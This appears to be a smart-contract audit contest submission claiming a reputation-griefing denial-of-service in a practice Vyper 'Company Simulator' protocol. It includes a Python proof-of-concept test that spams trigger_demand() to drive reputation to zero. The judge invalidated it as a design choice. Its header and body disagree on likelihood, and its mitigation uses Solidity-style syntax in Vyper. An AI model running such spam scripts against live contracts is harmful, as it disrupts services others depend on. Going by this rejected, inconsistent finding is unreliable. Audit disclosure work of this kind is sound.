Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Impact: medium
Likelihood: high
Invalid

[M-03] - Griefing attack via demand spam can permanently halt production and sales

Root + Impact

Description

The trigger_demand() function in CustomerEngine.vy is designed to simulate customer demand. If the sale fails (e.g., due to zero inventory), the company's reputation is penalized by 5 points.

A malicious attacker can continuously spam the trigger_demand() function, forcing failed sales and rapidly decreasing the company's reputation.

Attack Scenario:

  1. Attacker ensures the company has zero inventory.

  2. Attacker calls trigger_demand() repeatedly (waiting 60 seconds between calls due to the cooldown).

  3. The company's reputation rapidly drops from 100 to 0.

Once the reputation is near zero, the company's ability to operate is severely hampered, as the sell_to_customer function in Cyfrin_Hub uses reputation to determine the sale price and success probability. A low reputation can permanently halt sales, effectively griefing the protocol.

# Root cause in the codebase (Cyfrin_Hub.vy)
@internal
def sell_to_customer(requested: uint256, customer: address, amount_paid: uint256):
# ...
# Reputation is used to determine sale success and price
# ...
# Reputation penalty on failure (called by CustomerEngine)
if not success_probability:
self.reputation -= REPUTATION_PENALTY # @> Reputation is penalized by 5 on failure
# ...

Risk

Likelihood: Medium
The attack requires a simple script to call the function repeatedly with a 60-second delay. This is easily automated and guaranteed to work when inventory is low. The cost to the attacker is minimal (gas for the transaction).

Impact: Medium
The attack does not directly steal funds, but it causes a severe disruption of protocol functionality. By driving the reputation to zero, the attacker can effectively halt all future sales, preventing the company from generating revenue and making the shares worthless. This is a denial-of-service (DoS) attack on the core business logic.

Proof of Concept

This was confirmed during the manual audit:

  1. Setup: Company funded, zero inventory. Initial reputation is 100.

  2. Attack: Attacker calls trigger_demand() 20 times (waiting 60 seconds between calls).

  3. Result: Reputation drops from 100 to 0 (20 * 5 = 100). The company is now in a state where sales are highly unlikely to succeed, effectively halting the protocol's revenue stream.

Supporting Code:

# Test to demonstrate M-03: Griefing Attack via Demand Spam
import boa
from eth_utils import to_wei
def test_griefing_attack_via_demand_spam():
"""
Demonstrates how an attacker can spam trigger_demand() to crash reputation.
"""
# Deploy contracts
industry = boa.load("src/Cyfrin_Hub.vy")
engine = boa.load("src/CustomerEngine.vy", industry.address)
# Setup
owner = industry.OWNER_ADDRESS()
attacker = boa.env.generate_address("attacker")
boa.env.set_balance(owner, to_wei(1000, "ether"))
boa.env.set_balance(attacker, to_wei(100, "ether"))
# Owner sets engine and funds company (but does NOT produce inventory)
with boa.env.prank(owner):
industry.set_customer_engine(engine.address)
industry.fund_cyfrin(0, value=to_wei(100, "ether"))
# Verify: Company has funds but zero inventory
assert industry.company_balance() == to_wei(100, "ether")
assert industry.inventory() == 0
initial_reputation = industry.reputation()
print(f"Initial reputation: {initial_reputation}")
# Attack: Attacker spams trigger_demand() to cause failed sales
# Each failed sale reduces reputation by 5 points
# Reputation penalty constant: REPUTATION_PENALTY = 5
num_attacks = 10 # Reduced from 20 for faster test
sale_price = to_wei(0.02, "ether")
for i in range(num_attacks):
# Advance time by 60 seconds to bypass cooldown
boa.env.time_travel(seconds=60)
with boa.env.prank(attacker):
try:
engine.trigger_demand(value=sale_price)
except Exception as e:
# Sale will fail due to zero inventory
pass
current_reputation = industry.reputation()
print(f"Attack {i+1}: Reputation = {current_reputation}")
final_reputation = industry.reputation()
reputation_loss = initial_reputation - final_reputation
print(f"\nInitial reputation: {initial_reputation}")
print(f"Final reputation: {final_reputation}")
print(f"Total reputation loss: {reputation_loss}")
print(f"Reputation loss per attack: {reputation_loss / num_attacks}")
# Calculate the cost to the attacker
# Each attack costs only gas (no ETH is stuck if the attacker sends exact amount)
total_cost = num_attacks * sale_price
print(f"\nTotal cost to attacker: {total_cost / 10**18} ETH")
# Assertions
assert final_reputation < initial_reputation, "Reputation should decrease"
assert reputation_loss >= (num_attacks * 5), f"Expected at least {num_attacks * 5} reputation loss"
# Calculate the impact on company operations
# At low reputation, sales are less likely to succeed
print(f"\n✓ PoC Confirmed: Attacker reduced reputation by {reputation_loss} points with {num_attacks} spam attacks")
print(f"Company's ability to make sales is now severely compromised")

Recommended Mitigation

Implement a minimum purchase price or a higher cost for the trigger_demand() function to deter spamming.

# Mitigation: Implement a minimum purchase price to increase the cost of the attack.
@external
@payable
def trigger_demand():
# ...
# Check if the amount sent is sufficient to cover the minimum sale price
+ require(msg.value >= MIN_SALE_PRICE, "Insufficient ETH sent for minimum sale price");
# ... rest of the function

Additionally, consider implementing a mechanism where only the owner can reset the reputation, or where the reputation penalty decreases as the reputation gets lower.

Updates

Lead Judging Commences

0xshaedyw Lead Judge
7 days ago
0xshaedyw Lead Judge 6 days ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.